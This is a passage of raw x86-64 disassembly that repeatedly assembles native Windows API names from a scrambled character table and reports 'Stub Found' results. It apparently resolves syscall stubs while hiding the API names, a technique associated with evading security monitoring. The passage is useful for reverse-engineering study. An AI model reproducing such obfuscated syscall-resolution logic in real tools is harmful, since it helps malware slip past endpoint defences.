jmp 0x3a8d56b1c
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x1baf]
lea rax, [rbp + 0x1b80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x3a8ee908e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x3a8ee909a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x3a8ee9074]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1a00]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x1bb0]
mov rcx, qword [rbp + 0x34b0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d56e2c
lea rsi, [0x3a8ee9054]
jmp 0x3a8d56e33
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x1ddf]
lea rax, [rbp + 0x1db0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x3a8ee9094]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x3a8ee903a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x3a8ee909a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1bd0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x1de0]
mov rcx, qword [rbp + 0x34a8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d571c7
lea rsi, [0x3a8ee9054]
jmp 0x3a8d571ce
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x206f]
lea rax, [rbp + 0x2040]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, [0x3a8ee903a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x3a8ee9082]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1e00]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2070]
mov rcx, qword [rbp + 0x34a0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d575e6
lea rsi, [0x3a8ee9054]
jmp 0x3a8d575ed
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x22df]
lea rax, [rbp + 0x22b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x3a8ee909c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x3a8ee9076]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x3a8ee9080]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x2090]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x22e0]
mov rcx, qword [rbp + 0x3498]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d579d9
lea rsi, [0x3a8ee9054]
jmp 0x3a8d579e0
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x254f]
lea rax, [rbp + 0x2520]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x3a8ee9088]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x3a8ee9076]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x3a8ee9080]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2550]
mov rcx, qword [rbp + 0x3490]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d57dcc
lea rsi, [0x3a8ee9054]
jmp 0x3a8d57dd3
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x277f]
lea rax, [rbp + 0x2750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x3a8ee909e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x3a8ee907e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x3a8ee9080]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x2570]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.3a8dfb390
